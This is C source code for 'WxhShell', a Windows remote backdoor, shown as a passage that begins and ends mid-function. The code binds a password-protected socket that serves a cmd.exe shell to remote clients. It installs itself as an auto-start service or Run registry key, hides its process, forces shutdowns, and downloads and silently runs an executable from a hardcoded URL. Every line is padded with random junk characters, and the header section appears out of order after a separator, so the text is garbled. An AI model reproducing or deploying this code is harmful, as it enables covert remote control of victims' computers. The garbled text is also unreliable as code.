    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '}D$"2I*  
    else { ^=nJ,-(h_  
    closesocket(wsh); rU /V ~;#%  
    ExitThread(0); b'N(eka  
    } 9cu0$P`}5  
    break; 4ISZyO=  
    } 5Y\wXqlY  
  // 获取shell D#T1~r4  
  case 's': { P2S$Dk_<\X  
    CmdShell(wsh); av&4:O!  
    closesocket(wsh); K 0i[D"  
    ExitThread(0); D4x~Vk%H  
    break; NiwJ$Ah~X  
  } #O< 2wMb2<  
  // 退出 s4RqMO5eI  
  case 'x': { ^uu)|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Olg@ Ri  
    CloseIt(wsh); {/x["2a1  
    break; APgP*,  
    } FBYA d@="2  
  // 离开 75t\= 6#  
  case 'q': { M8 E8r  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); "`Q.z~  
    closesocket(wsh); S[bFS7[  
    WSACleanup(); j#TtY|Po  
    exit(1); +K3SAGm  
    break; /=zzym~<>  
        } 6}YWM]c%  
  } =U6%Wdth  
  } |(E.Sb  
m8q3Pp  
  // 提示信息 7[wHNJ7)r  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3%<Uq%pJ  
} L,&R0gxi  
  } H*DWDJxmV  
:RsO $@0G  
  return; LCrE1Q%VP  
} vxxa,KR/y  
y;+5cn C  
// shell模块句柄 f#RI&I\  
int CmdShell(SOCKET sock) Mt@P}4   
{ *uAsKU  
STARTUPINFO si; wL'tGAv  
ZeroMemory(&si,sizeof(si)); qYHAXc}$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^rI<}cfR  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; kMGK 8y  
PROCESS_INFORMATION ProcessInfo; &95iGL28Q  
char cmdline[]="cmd"; s }]qlg  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); sbZ$h <  
  return 0; .!ThqYo  
} { jnQoxN  
*^XfEO  
// 自身启动模式 "x. |'  
int StartFromService(void) oJ cR)H  
{ KLI(Rve24  
typedef struct '2u(fLq3h  
{ xS) njuq4  
  DWORD ExitStatus; }t tiL  
  DWORD PebBaseAddress; HSk gS  
  DWORD AffinityMask; Y"G U"n~  
  DWORD BasePriority; I*/?*p/I  
  ULONG UniqueProcessId; ?j^[7  
  ULONG InheritedFromUniqueProcessId; IR(6  
}   PROCESS_BASIC_INFORMATION; o0Z(BTO  
+?[ ,y  
PROCNTQSIP NtQueryInformationProcess; 78v4c Q Y  
/P*mF^Y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #"^F:: b-  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; VZ?"yUZ Id  
oyGO!j  
  HANDLE             hProcess; N;XaK+_2F  
  PROCESS_BASIC_INFORMATION pbi; Lw 7,[?,Z  
&u62@ug#}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); y$VYWcFE  
  if(NULL == hInst ) return 0; +~O 0e-d  
oT7=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); SbNs#  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6&o9mc\I  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?UC3ES  
_pSCv:3T  
  if (!NtQueryInformationProcess) return 0; =&QC&CqEi  
~Qzb<^9]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Y<U"}}  
  if(!hProcess) return 0; `C~RA, M  
Y}_J@&:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?dJ-g~  
{*VCR  
  CloseHandle(hProcess); )J?Nfi%  
~n:dHK`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [|ghq  
if(hProcess==NULL) return 0; X<\y%2B|l  
4\)"Ih  
HMODULE hMod; 2s{PE  
char procName[255]; ?*i qg[:  
unsigned long cbNeeded; bT|N Z!V  
j tdhdA  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); j9zK=eG  
]UG+<V ,:  
  CloseHandle(hProcess); ]Mu + DZ  
8r^~`rL  
if(strstr(procName,"services")) return 1; // 以服务启动 3[kY:5-  
KX e/i~AS  
  return 0; // 注册表启动 -aCtk$3  
} d'~sy>  
8}m bfu o1  
// 主模块 :3k&[W*  
int StartWxhshell(LPSTR lpCmdLine) nJJ9>#<g$  
{ Nf0'>`/  
  SOCKET wsl; %vjLw`  
BOOL val=TRUE; Mg H,"G  
  int port=0; (?SK< 4!  
  struct sockaddr_in door; `8Y& KVhu  
aa8xo5tIp  
  if(wscfg.ws_autoins) Install(); 8*rd`k1 |g  
d\aarhD8*  
port=atoi(lpCmdLine); O) ks  
6"^Yn.  
if(port<=0) port=wscfg.ws_port; wB6 ILTu1  
2Yd0:$a  
  WSADATA data; t+'|&b][Qi  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @5n!t1(  
Kq}/`P  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %G6ml,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %Z@+K_X9x  
  door.sin_family = AF_INET; /+\m7IS  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Ha l,%W~e  
  door.sin_port = htons(port); 6Z~u2&  
J/3qJst  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ZMmaM "9  
closesocket(wsl); l[=7<F  
return 1; YQ}xr^VA  
} # Ny  
> Y <in/  
  if(listen(wsl,2) == INVALID_SOCKET) { `ReTfz;o  
closesocket(wsl); QJc3@  
return 1; ~b+TkPU   
} IYm~pXg^0  
  Wxhshell(wsl); QUL^]6$  
  WSACleanup(); ^6!C":f  
#3@ Du(_n  
return 0; R<VNbm;  
`}:q@: %  
} Jx ;" @  
v.,|#}0 o  
// 以NT服务方式启动 qms+s~oA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) QFOmnbJg  
{  6e,|HV  
DWORD   status = 0; :34#z.O  
  DWORD   specificError = 0xfffffff; ^R* _Q,o#  
L/1zG/@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; L(a&,cdh  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; qd*3| O^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )3<|<jwcx  
  serviceStatus.dwWin32ExitCode     = 0; m9bR %j  
  serviceStatus.dwServiceSpecificExitCode = 0; _jK    
  serviceStatus.dwCheckPoint       = 0; 8<(qN> R  
  serviceStatus.dwWaitHint       = 0; fUQuEh5_  
dkTj KV  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); NNZ%jJy?=,  
  if (hServiceStatusHandle==0) return; [Nb0&:$ay  
ok;Yxp>  
status = GetLastError(); `]^0lD=eI  
  if (status!=NO_ERROR) ]H8CVue  
{ v3|-eWet^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; (9:MIP  
    serviceStatus.dwCheckPoint       = 0; 9"Vch;U$  
    serviceStatus.dwWaitHint       = 0; 7Q,9j.  
    serviceStatus.dwWin32ExitCode     = status; O+I\Q?   
    serviceStatus.dwServiceSpecificExitCode = specificError; )i8Hdtn  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); cW B>  
    return; Va^Y3/  
  } `f.okqBAh  
~l$u~:4Ob  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; R;,&s!\<  
  serviceStatus.dwCheckPoint       = 0; Df;EemCh  
  serviceStatus.dwWaitHint       = 0; rU?sUm,ch  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ylm*a74-X  
} .kpL?_  
q) %F#g  
// 处理NT服务事件,比如:启动、停止 UM$\{$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Cz=HxU80J  
{ _t<&#D~  
switch(fdwControl) qzk/P1{-  
{ OiI[w8  
case SERVICE_CONTROL_STOP: >hqev-   
  serviceStatus.dwWin32ExitCode = 0; 5WN^8`{'3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :^7P. lhK  
  serviceStatus.dwCheckPoint   = 0; S a5+_TW  
  serviceStatus.dwWaitHint     = 0; VwfeaDJw  
  { H/8H`9S$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g ycjIy@t  
  } 8S2sNpLi-g  
  return; \]Nlka  
case SERVICE_CONTROL_PAUSE: ^mWOQ*zi;  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; SMHQo/c r  
  break; b~;gj^  
case SERVICE_CONTROL_CONTINUE: >TSPEvWc  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; E6"+\-e  
  break; Vfkm{*t)  
case SERVICE_CONTROL_INTERROGATE: r{y&}gA  
  break; )?35!s6  
}; z~[:@mGl  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Tb~|p_;o  
} Y~ j.Kt  
YyOPgF] M  
// 标准应用程序主函数 Dep.Qfv{-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) IXE`MLc  
{ hY$gzls4  
rG7E[kii  
// 获取操作系统版本 ? yL3XB>  
OsIsNt=GetOsVer(); a1p Z{Od  
GetModuleFileName(NULL,ExeFile,MAX_PATH); t%@sz  
>eX&HSoy  
  // 从命令行安装 }yQ&[Mt  
  if(strpbrk(lpCmdLine,"iI")) Install(); +NIq}fZn9  
`SDpOqfIrP  
  // 下载执行文件 Y0nnn  
if(wscfg.ws_downexe) { +tsF.Is!t  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) L=`QF'Im  
  WinExec(wscfg.ws_filenam,SW_HIDE); =Uy;8et  
} |'mwr!  
:H9\nU1  
if(!OsIsNt) { c6v@6jzx0Y  
// 如果时win9x,隐藏进程并且设置为注册表启动 xJCMxt2Y  
HideProc(); xBba&A]=  
StartWxhshell(lpCmdLine); _~q!<-Z  
} m9yi:zT%  
else UoD S)(i  
  if(StartFromService()) r~mZ?dI  
  // 以服务方式启动 rGa@!^hk  
  StartServiceCtrlDispatcher(DispatchTable); /j7e q  
else w;;yw3  
  // 普通方式启动 6I)[6R  
  StartWxhshell(lpCmdLine); TcW-pY<N  
0L->e(Vf7u  
return 0; ;Fo%R$y  
} UA>3,|gV1  
Z;=h=  
b/#SkxW#S  
;Dh\2! sr  
=========================================== 2@TgeV0Y[  
o!6~tO=%  
F~bDA~  
&Hz{   
BZJ\tPSR  
_v/w ,z  
" Bf5Z  
Uu_g_b:z  
#include <stdio.h> vR"?XqgZ  
#include <string.h> Dx)>`yJk$;  
#include <windows.h> GG0H3MSc  
#include <winsock2.h> `!Z0; qk  
#include <winsvc.h> ;s*   
#include <urlmon.h> lw\+!}8(  
h.Y&_=Gc  
#pragma comment (lib, "Ws2_32.lib") `}r)0,Z}3  
#pragma comment (lib, "urlmon.lib") D =+md  
%*}h{n  
#define MAX_USER   100 // 最大客户端连接数 uBp,_V?  
#define BUF_SOCK   200 // sock buffer *|gY7Av*  
#define KEY_BUFF   255 // 输入 buffer W)X" G3  
-1_WE/Ps  
#define REBOOT     0   // 重启 r|MBkpcvp  
#define SHUTDOWN   1   // 关机 g 2LY~  
vU,V[1^a  
#define DEF_PORT   5000 // 监听端口 "h@=O c  
TS_5R>R3  
#define REG_LEN     16   // 注册表键长度 FmtgH1u:=  
#define SVC_LEN     80   // NT服务名长度 (HEi;  
|D% O`[k+  
// 从dll定义API @=7[KMb  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4,,@o  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); C6?({ QB@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [S~/lm  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); x/pX?k  
> `1K0?_  
// wxhshell配置信息 ~hZr1hT6L  
struct WSCFG {  ?v z[Zi  
  int ws_port;         // 监听端口 '^n,)oA/G  
  char ws_passstr[REG_LEN]; // 口令 uIy$| N  
  int ws_autoins;       // 安装标记, 1=yes 0=no !.G knDT  
  char ws_regname[REG_LEN]; // 注册表键名 (+CNs  
  char ws_svcname[REG_LEN]; // 服务名 #0"Pd8@  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 lC=-1*WH  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \y(ZeNs  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Zg*XbX  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 2/iBk'd  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &At9@  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [;C|WTYSL  
y$}o{VE{x  
}; %{|67h  
[t6Y,yo&h4  
// default Wxhshell configuration 2@6Qifxd@  
struct WSCFG wscfg={DEF_PORT, &s(mbpV  
    "xuhuanlingzhe", 3Q#Tut  
    1, b}3t8?wG&  
    "Wxhshell", #AR$'TE#  
    "Wxhshell", N;HG@B!m  
            "WxhShell Service", \>\_OfY1W  
    "Wrsky Windows CmdShell Service", S l`F`  
    "Please Input Your Password: ", ${5E  
  1, cCuK?3V4K  
  "http://www.wrsky.com/wxhshell.exe", N}ugI`:  
  "Wxhshell.exe" -l~+cI\2  
    }; NI:3hfs  
]&?8l:3-G  
// 消息定义模块 K8JshF Ie  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; arc{:u.K  
char *msg_ws_prompt="\n\r? for help\n\r#>"; uC! dy  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; M1q_gHA  
char *msg_ws_ext="\n\rExit."; =3Ohy,5L  
char *msg_ws_end="\n\rQuit."; Fr_6pEH]}  
char *msg_ws_boot="\n\rReboot..."; Y6`^E  
char *msg_ws_poff="\n\rShutdown..."; [VE>{4]W  
char *msg_ws_down="\n\rSave to "; z[qi~&7:v  
aM4-quaG]  
char *msg_ws_err="\n\rErr!"; 3>6rO4,  
char *msg_ws_ok="\n\rOK!"; goOw.~dZ'  
Yy{(XBJ~%t  
char ExeFile[MAX_PATH]; [a!)w@I:  
int nUser = 0; Ltk-1zhI  
HANDLE handles[MAX_USER]; @e-2]z  
int OsIsNt; ]G~Z'fs<(  
q $=[v  
SERVICE_STATUS       serviceStatus; y q!{\@-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Ki>XLX,er=  
RB9ZaL\  
// 函数声明 AHU =`z  
int Install(void);  Khh}flRy  
int Uninstall(void); MnP+L'|  
int DownloadFile(char *sURL, SOCKET wsh); txiX1o!/L  
int Boot(int flag); A`* l+M^z  
void HideProc(void); t[/APm-k~>  
int GetOsVer(void); q8}he~a  
int Wxhshell(SOCKET wsl); !ou;yE&<,  
void TalkWithClient(void *cs); .;)V;!  
int CmdShell(SOCKET sock); yUN>mD-  
int StartFromService(void); k#-%u,t  
int StartWxhshell(LPSTR lpCmdLine); AYAbq}'Yt  
GHO6$iM)[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); V0G[f}tm'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); F#~*j  
3U'l'H,  
// 数据结构和表定义 >IipWTVo<  
SERVICE_TABLE_ENTRY DispatchTable[] = M[C)b\  
{ RWFvf   
{wscfg.ws_svcname, NTServiceMain}, }tQ^ch;Q  
{NULL, NULL} QabLMq@n`  
}; C%|m[,Gx  
Os*s{2OvO  
// 自我安装 "y60YYn-#J  
int Install(void) F<^f6z8  
{ W^pf 1I8[  
  char svExeFile[MAX_PATH]; o?^Rw*u0/  
  HKEY key; *;F:6p4_  
  strcpy(svExeFile,ExeFile); fRHzY?n9;  
lx7]rkWo|a  
// 如果是win9x系统,修改注册表设为自启动 R\-]$\1D  
if(!OsIsNt) { gfKv$~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $EL:Jx2<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mNsd&Rk'  
  RegCloseKey(key); j9X|c7|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tns4e\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G_M8? G0  
  RegCloseKey(key); y&V'GhW!dd  
  return 0; 211V'|a_ >  
    } '.jYu7   
  } !JBj%|!  
} 99"8d^{z  
else { X|aD>CT  
vOq N=bp  
// 如果是NT以上系统,安装为系统服务 csA-<}S5]b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); L#%)@  
if (schSCManager!=0) R:rols"QM  
{ +|TXKhm{  
  SC_HANDLE schService = CreateService !L<z(dV|(  
  ( 5vLA)Al3  
  schSCManager, Qkw?Q V-`k  
  wscfg.ws_svcname, L2wX?NA  
  wscfg.ws_svcdisp, 'dqecmB  
  SERVICE_ALL_ACCESS, YABi`;R]'  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2%*\XPt)  
  SERVICE_AUTO_START, yF1p^>*ak&  
  SERVICE_ERROR_NORMAL, y;(G%s1  
  svExeFile, YI`BA`BQ8  
  NULL, Hv2[=elc  
  NULL, h6}rOchj  
  NULL,  y(#6nG@S  
  NULL, T^{=cx9x9  
  NULL 4dm0:, G  
  ); s< Fp17  
  if (schService!=0) Xq<_r^  
  { .gM6m8l9wp  
  CloseServiceHandle(schService); +(W7hK4ip  
  CloseServiceHandle(schSCManager); 0g~Cdp  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,9MNB3  
  strcat(svExeFile,wscfg.ws_svcname); qz.l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Q- w_ @~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); H7k@Br  
  RegCloseKey(key); KT7R0v  
  return 0; t/3HX]B_  
    } QjD=JC+  
  } Az-!X!O*f  
  CloseServiceHandle(schSCManager); ru~!;xT  
} :G] t=vr1  
} 4eF{Y^   
+zXcTT[V  
return 1; IVa6?f6H_  
} t<j_` %`8  
L}'^FqO[IW  
// 自我卸载 P]OUzI,  
int Uninstall(void) LFr$h`_D5  
{ &|#,Bsk"@  
  HKEY key; %$'fq*8b  
0F.S[!I  
if(!OsIsNt) { <@l j\,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6L)7Q0Z  
  RegDeleteValue(key,wscfg.ws_regname); H/.UDz  
  RegCloseKey(key); k8l7.e*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -F 9 xPw  
  RegDeleteValue(key,wscfg.ws_regname); F/[m.!Eo  
  RegCloseKey(key); 7 toIbC#  
  return 0; Rg+# (y  
  } 5:#|Op N  
} PHUeN]s#  
} e}P@7e  h  
else {  A; *<  
~ Nf|,{[(5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  Mz+vT0  
if (schSCManager!=0) fL("MDt  
{ NciIqF  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2E`mbT,v&  
  if (schService!=0) =''b`T$  
  { c=QN!n:  
  if(DeleteService(schService)!=0) { WBA7G  
  CloseServiceHandle(schService); d0&  
  CloseServiceHandle(schSCManager); atmW? Z  
  return 0; .:GOKyr(~  
  } #{^qBP[  
  CloseServiceHandle(schService); g#Ta03\  
  } y y[Y=  
  CloseServiceHandle(schSCManager); YU!s;h  
} cSNeWJKA6  
} 4i5b.b U$  
@1<VvW=  
return 1; 0\s&;@xKk  
} ^,)nuU y  
bI_MF/r''  
// 从指定url下载文件 7+IRI|d  
int DownloadFile(char *sURL, SOCKET wsh) 9\T9pjdZE  
{ M4CC&?6\  
  HRESULT hr; ^dsj1#3z  
char seps[]= "/"; ]ms+ Va_/  
char *token; Bu+?N%CBi  
char *file; L6;'V5Mg72  
char myURL[MAX_PATH]; L GVy4D  
char myFILE[MAX_PATH]; wZW\r!Us  
F?0Q AA  
strcpy(myURL,sURL); y$_]}<b  
  token=strtok(myURL,seps);  WK@<#  
  while(token!=NULL) ,A)Z .OWOq  
  { ET 0(/Zz  
    file=token; -YmIRocx  
  token=strtok(NULL,seps); jzZ]+'t  
  } 8OO[Le]1  
U0srwt97S  
GetCurrentDirectory(MAX_PATH,myFILE); &\Lu}t7Ru  
strcat(myFILE, "\\"); ZLPj1L  
strcat(myFILE, file); c@)?V>oe  
  send(wsh,myFILE,strlen(myFILE),0); %+<1X?;,Fq  
send(wsh,"...",3,0); #};Zgixo$  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); };EB  
  if(hr==S_OK) jW-;Y/S  
return 0; !(viXV5  
else zMBGpqdP  
return 1; x25zk4-  
6l &!4r@}  
} 98 ]pkqp4  
Yx,7e(AI`  
// 系统电源模块  Y(2Z<d  
int Boot(int flag) Jf\`?g3#  
{ (0.JoeA`y  
  HANDLE hToken; R*XZPzg%  
  TOKEN_PRIVILEGES tkp; yF%e)6  
Q<ia  
  if(OsIsNt) { E*fa&G~s )  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Kp1 F"!  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); q^n LC6q  
    tkp.PrivilegeCount = 1; ;Ru[^p.{  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Y6v#0pT  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \Sv|yQUT  
if(flag==REBOOT) { %y*'bS  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) t)g %9 k^  
  return 0; `PvS+>q  
} XW@C_@*J  
else { `D$^SHfyz  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) o_[~{@RoR  
  return 0; 2;3&&yK2b  
} W- nS{v(  
  } fwMYEj  
  else { `Mcg&Mi~  
if(flag==REBOOT) { qPWf=s7!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :}/\hz ,  
  return 0; LP'q$iB!  
} ^N 4Y*NtV7  
else { g)D@4RM  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [z+YX s!N  
  return 0; : yq2 XE%r  
} wL^x9O|`p9  
} ; C(5lD&\5  
i[{*(Y$L  
return 1;  >;%QW  
} lA;^c)  
>K1e=SY  
// win9x进程隐藏模块 VGu(HB8n#  
void HideProc(void) .;.Zbhm  
{ #o9CC)q5G  
ITi#p%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !|]k2=+I  
  if ( hKernel != NULL ) ,Mi'NO   
  { Gm=&[?}  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); l @@pXg3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^P/OHuDL  
    FreeLibrary(hKernel); QZa^Cng~  
  } aI`d  
Yl?s^]SFU  
return; cfg.&P>   
} BM)a,fIgo  
b`^?nD7  
// 获取操作系统版本 8x7TK2r  
int GetOsVer(void) [;F!\B-  
{ <S6?L[_  
  OSVERSIONINFO winfo; hN gT/y8  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !W0JT#0  
  GetVersionEx(&winfo); 7.g,&s%q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \u[5O@v#  
  return 1; !8W0XUqh+  
  else CRrEs 18;#  
  return 0; IB 4L(n1  
} 1p&=tN  
=?wDQ:  
// 客户端句柄模块 QR8]d1+GV  
int Wxhshell(SOCKET wsl) nGc'xQy0  
{ PU B0H  
  SOCKET wsh; )J+rt^4|  
  struct sockaddr_in client; nU\.`.39 +  
  DWORD myID; T2)CiR-b  
Us pv^O9_  
  while(nUser<MAX_USER) {TMng&  
{ qs_cC3"=%=  
  int nSize=sizeof(client); /RxqFpu|.  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); B> \q!dX3  
  if(wsh==INVALID_SOCKET) return 1; 0oBAJP  
0]]OE+9<c  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ba ,n/yH  
if(handles[nUser]==0) o_kZ  
  closesocket(wsh); O*,O]Q  
else e7&RZ+s#wZ  
  nUser++; wc"~8Ah  
  } }j2t8B^&:  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); '.S02=/  
{Dy,|}7s  
  return 0; Az#kE.8b*A  
} .W2w/RayC  
mL'A$BR`  
// 关闭 socket QyZ' %T5J  
void CloseIt(SOCKET wsh) XH/!A`ZK  
{ @ptrF pSL  
closesocket(wsh); 9(vp`Z8B4  
nUser--; EQZ/v gho  
ExitThread(0); .RmoO\ ,Gm  
} p<l+js(5|  
!,5qAGi0  
// 客户端请求句柄 DZb0'+jQ  
void TalkWithClient(void *cs) *H=h7ESq  
{ T%Zfo7  
6Rq +=X  
  SOCKET wsh=(SOCKET)cs; e},:QL0X  
  char pwd[SVC_LEN]; xt`a":lru  
  char cmd[KEY_BUFF]; HL>l.IG?  
char chr[1];  :fy,%su  
int i,j; _z.CV<  
s*i,Ph  
  while (nUser < MAX_USER) { Lk^bzW>f  
Tkp"mT v?<  
if(wscfg.ws_passstr) { 4mX]JH`UTe  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L5 Ai  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dWwb}r(ky  
  //ZeroMemory(pwd,KEY_BUFF); fLSDt(c',  
      i=0; d& v 7l  
  while(i<SVC_LEN) { r( wtuD23q  
Zc&pJP+M'U  
  // 设置超时 |gINB3L  
  fd_set FdRead; qxZf!NX5  
  struct timeval TimeOut; np}0O  X  
  FD_ZERO(&FdRead); ?hIDyM  
  FD_SET(wsh,&FdRead); Tgi7RAY  
  TimeOut.tv_sec=8; 5N ;xo??  
  TimeOut.tv_usec=0; WUQa2$.  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \X]I: 0^j  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); p#r qe<Ua  
>!o!rs  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F%%mcmHD#  
  pwd=chr[0]; ,5 3`t  
  if(chr[0]==0xd || chr[0]==0xa) { IM2<:N%'  
  pwd=0; 4@a/k[,  
  break; J^~J&  
  } k{ZQM  
  i++; [W <j  
    } LHA :frC  
9j5Z!Vsy  
  // 如果是非法用户,关闭 socket G-]_ d  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Cyg(~7]  
} ozHL'H  
wp4  .~E  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "tpD ->  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;\ j'~AyCn  
)QnsRW{D"  
while(1) { g0;6}n  
I_`NjJ;61  
  ZeroMemory(cmd,KEY_BUFF); /@DJf\`vM  
YuzVh9jTI  
      // 自动支持客户端 telnet标准   >I&s%4  
  j=0; 8Vt'X2  
  while(j<KEY_BUFF) { {\LLiU}MJC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?\X9Ei  
  cmd[j]=chr[0]; l%yQ{loTh  
  if(chr[0]==0xa || chr[0]==0xd) { jrttWT  
  cmd[j]=0; "uyr@u0b  
  break; .=hVto[QC  
  } >29c[O"[  
  j++; F^}d>2W(  
    } L}g#h+GP[  
Uhyf  
  // 下载文件 n1'i!NWt  
  if(strstr(cmd,"http://")) { @XcrHnH9  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); qpa}6JVQ+j  
  if(DownloadFile(cmd,wsh)) ;~`/rh V\  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); aouYPxA`  
  else wg:\$_Og  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v9t'CMU  
  } 2%H_%Zu9  
  else { MdTu722  
xz +;1JAL3  
    switch(cmd[0]) { {q~N$"#  
  ~1S,[5u|s  
